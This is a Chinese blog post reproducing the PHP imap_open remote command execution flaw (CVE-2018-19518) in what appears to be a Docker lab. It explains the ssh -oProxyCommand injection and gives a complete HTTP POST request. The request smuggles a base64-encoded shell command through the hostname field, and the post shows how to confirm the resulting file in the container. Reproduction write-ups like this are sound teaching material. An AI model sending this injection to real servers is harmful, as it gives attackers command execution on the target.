PHP imap 远程命令执行漏洞(CVE-2018-19518)


PHP imap 远程命令执行漏洞(CVE-2018-19518)

php imap 扩展用于在 PHP 中执行邮件收发操作。其 imap_open 函数会调用 rsh 来连接远程 shell,而 debian/ubuntu 中默认使用 ssh 来代替 rsh 的功能(也就是说,在 debian 系列系统中,执行 rsh 命令实际执行的是 ssh 命令)。

因为 ssh 命令中可以通过设置 -oProxyCommand= 来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

漏洞复现

发送如下数据包即可成功执行命 echo '1234567890'>/tmp/test0001

POST / HTTP/1.1
Host: your-ip
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

hostname=x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}&username=111&password=222

执行 docker-compose exec web bash 进入容器,可见 /tmp/test0001 已成功创建:


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
Nginx 文件名逻辑漏洞(CVE-2013-4547) Nginx 文件名逻辑漏洞(CVE-2013-4547)
Nginx 文件名逻辑漏洞(CVE-2013-4547)影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7 漏洞原理这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的 URI,错误地获取到用户
2019-03-05
下一篇 
PHP文件包含漏洞(利用phpinfo) PHP文件包含漏洞(利用phpinfo)
PHP文件包含漏洞(利用phpinfo)PHP 文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来 getshell。因为临时文件名是随机的,如果目标网站上存在 phpinfo,则可以通过 phpinfo 来获取临时
2019-03-04
  目录